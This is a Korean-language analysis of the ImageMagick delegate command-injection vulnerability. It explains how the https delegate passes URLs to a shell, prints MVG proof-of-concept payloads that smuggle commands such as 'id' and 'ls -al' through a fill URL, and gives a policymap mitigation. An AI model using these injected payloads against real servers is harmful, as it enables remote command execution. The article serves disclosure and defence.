ImageMagick 명령 실행 취약점에 대한 심층 분석

00 서문

ImageMagick이란 무엇인가요?

ImageMagick은 널리 사용되는 JPEG, GIF, PNG, PDF 및 PhotoCD 형식을 포함하여 90가지 이상의 이미지 파일을 읽고 쓰고 처리하는 데 사용할 수 있는 강력한 오픈 소스 그래픽 처리 소프트웨어입니다. 자르기, 회전, 결합 등 다양한 특수효과로 사진을 가공할 때 사용합니다.

강력한 기능과 우수한 성능, 다양한 언어에 대한 확장된 지원으로 인해 프로그램 개발에 널리 사용됩니다. 많은 웹사이트 개발자는 ImageMagick 확장 프로그램을 사용하여 사용자 아바타 생성, 이미지 편집 등과 같은 웹에서 이미지 처리 작업을 수행하는 것을 좋아합니다.

01 취약점 설명

ImageMagick은 PHP, Ruby, NodeJS, Python 등 다국어를 지원하며 널리 사용되는 오픈소스 이미지 처리 라이브러리입니다. PHP imagick, Ruby rmagick 및 paperclip, NodeJS imagemagick을 포함한 많은 이미지 처리 플러그인은 모두 이를 사용하여 실행됩니다. 공격자가 악성 코드가 포함된 이미지를 구성하면 ImageMagick 라이브러리가 HTTPPS 파일을 부적절하게 처리하고 어떠한 필터링도 수행하지 않으며 원격으로 명령을 실행하고 서버를 제어할 수도 있습니다.

02 영향도

공격 비용: 낮음

위험도: 높음

영향을 받는 범위: ImageMagick 6.9.3-9 이전의 모든 버전

03 취약점 분석

ImageMagick이 https 파일을 처리하는 과정에서 명령어 실행 취약점이 발생합니다.

ImageMagick이 이렇게 많은 파일 형식을 지원하는 이유는 이미지 처리 라이브러리가 많이 내장되어 있기 때문입니다. 이러한 이미지 처리 라이브러리의 경우 ImageMagick에서 이름을 "Delegate"(대리인)로 지정하고 각 Delegate는 의 A 파일에 해당합니다. 형식을 지정한 다음 시스템의 system() 명령을 통해 처리하기 위해 외부 lib를 호출합니다. 외부 lib를 호출하는 프로세스는 시스템의 시스템 명령을 사용하여 실행되고, 그 결과 코드가 명령을 실행하게 됩니다.

ImageMagick 대리인의 기본 구성 파일: /etc/ImageMagick/delegates.xml

구체적인 코드는 Github-ImageMagick을 참조하세요

https 위임 라인을 찾습니다:

" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"

%i input image filename
%o output image filename
%u unique temporary filename
%Z unique temporary filename
%# input image signature
%b image file size
%c input image comment
%g image geometry
%h image rows (height)
%k input image number colors
%l image label
%m input image format
%p page number
%q input image depth
%s scene number
%w image columns (width)
%x input image x resolution
%y input image y resolution

https://test.com"|ls “-al

“wget” -q -O “%o” “ https://test.com"|ls “-al”

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

push graphic-context
viewbox 0 0 640 480
fill 'url(https://test.com/image.jpg"|ls "-al)'
pop graphic-context

<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>